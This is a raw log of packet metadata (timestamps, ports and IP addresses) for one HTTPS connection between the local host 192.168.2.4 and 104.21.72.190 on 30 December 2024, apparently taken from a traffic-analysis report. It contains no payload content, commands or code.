Dec 30, 2024 09:18:07.499644995 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.499651909 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.499707937 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.499742985 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.499759912 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.499766111 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.499783993 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.502971888 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.503005028 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.503031969 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.503037930 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.503061056 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.503321886 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.503334999 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.503375053 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.503381968 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.503431082 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.504100084 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.504147053 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.504745007 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.504779100 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.504796028 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.504800081 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.504820108 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.504929066 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.504965067 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.504983902 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.504987955 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.505012035 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.505171061 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.505225897 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.505233049 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.505469084 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.505482912 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.505517006 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.505522966 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.505558968 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.532926083 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.532944918 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.532977104 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.532985926 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.533020020 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.579082966 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.579099894 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.579149008 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.579158068 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.584224939 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.584243059 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.584271908 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.584280014 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.584320068 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.587445021 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.587459087 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.587510109 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.587517023 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.588540077 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.588556051 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.588604927 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.588610888 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.588627100 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.589081049 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.589108944 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.589135885 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.589143991 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.589165926 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.589365959 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.589380980 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.589416981 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.589422941 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.589449883 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.589773893 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.589787960 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.589831114 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.589837074 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.589865923 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.617393017 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.617419958 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.617456913 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.617466927 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.617502928 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.663554907 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.663569927 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.663619041 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.663639069 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.663676023 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.668653011 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.668670893 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.668708086 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.668716908 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.668760061 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.671888113 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.671902895 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.671962976 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.671971083 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.672012091 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.673151970 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.673170090 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.673250914 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.673250914 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.673259974 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.673408985 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.673424959 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.673466921 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.673472881 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.673506975 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.673671007 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.673688889 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.673726082 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.673733950 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.673763990 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.674114943 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.674127102 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.674184084 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.674190998 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.674201965 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.701868057 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.701885939 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.701931953 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.701941967 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.701984882 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.747901917 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.747915983 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.747977018 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.747983932 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.747992992 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.748028994 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.752748966 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.752809048 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.753029108 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.753082037 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.753106117 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.753163099 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.756239891 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.756294966 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.756320953 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.756376982 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.756544113 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.756582022 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.756597996 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.756604910 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.756632090 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.757764101 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.757800102 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.757817984 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.757822990 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.757868052 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.757909060 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.757958889 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.757980108 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.758038044 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.758121014 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.758171082 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.758210897 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.758265018 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.758477926 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.758529902 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.758536100 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.758584023 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.758630991 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.758637905 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.758690119 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.758790016 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.758841038 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.786458015 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.786499023 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.786529064 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.786535978 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.786569118 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.786617041 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.786712885 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.786720037 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.832463026 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.832504034 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.832525015 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.832532883 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.832544088 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.832561016 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.832582951 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.832587004 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.832683086 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.837068081 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.837129116 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.837182999 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.837297916 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.837503910 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.837557077 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.840552092 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.840605974 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.840698957 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.840735912 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.840759993 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.840765953 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.840775013 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.840775967 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.840826035 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.840831041 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.840882063 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.840905905 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.840912104 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.840931892 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.840956926 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.840965033 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.841000080 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.842133999 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.842246056 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.842261076 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.842266083 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.842303038 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.842323065 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.842484951 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.842531919 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.842539072 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.842545033 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.842570066 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.842583895 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.842588902 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.842602968 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.842675924 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.842725992 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.842731953 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.842745066 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.842787981 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.842794895 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.842833042 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.842986107 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.843029976 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.843041897 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.843048096 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.843076944 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.843113899 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.843147039 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.843162060 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.843168974 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.843185902 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.871093988 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.871125937 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.871151924 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.871165991 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.871186018 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.916811943 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.916867971 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.916878939 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.916997910 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.917037010 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.917062044 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.917068958 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.917088032 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.921684027 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.921717882 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.921736002 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.921742916 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.921755075 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.921766043 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.921782017 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.921794891 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.921909094 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.921943903 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.921960115 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.921966076 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.921991110 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.925017118 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.925061941 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.925070047 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.925107002 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.925134897 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.925163031 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.925173044 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.925179005 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.925194979 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.925209045 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.925235987 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.925261021 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.925267935 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.925276995 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.925350904 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.925357103 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.925417900 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.925468922 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.925476074 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.926628113 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.926668882 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.926678896 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.926683903 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.926712036 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.926808119 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.926867008 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.926873922 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.926887035 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.926939964 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.926947117 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.926955938 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.926989079 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.927000999 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927016020 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927053928 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.927061081 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927117109 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927153111 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927162886 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.927169085 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927201033 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.927469015 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927508116 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.927520990 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927541018 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927584887 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.927599907 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.927681923 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927737951 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.927795887 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927834034 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927851915 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.927856922 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.927870035 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.955651045 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:07.955713034 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:07.955735922 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.001483917 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.001549006 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.001614094 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.001647949 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.001667976 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.001688957 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.001697063 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.001724005 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.001755953 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.006474972 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.006515026 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.006556988 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.006562948 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.006611109 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.009418011 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.009499073 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.009522915 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.009532928 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.009566069 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.009574890 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.009627104 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:08.009677887 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:08.009804010 CET	443	49730	104.21.72.190	192.168.2.4
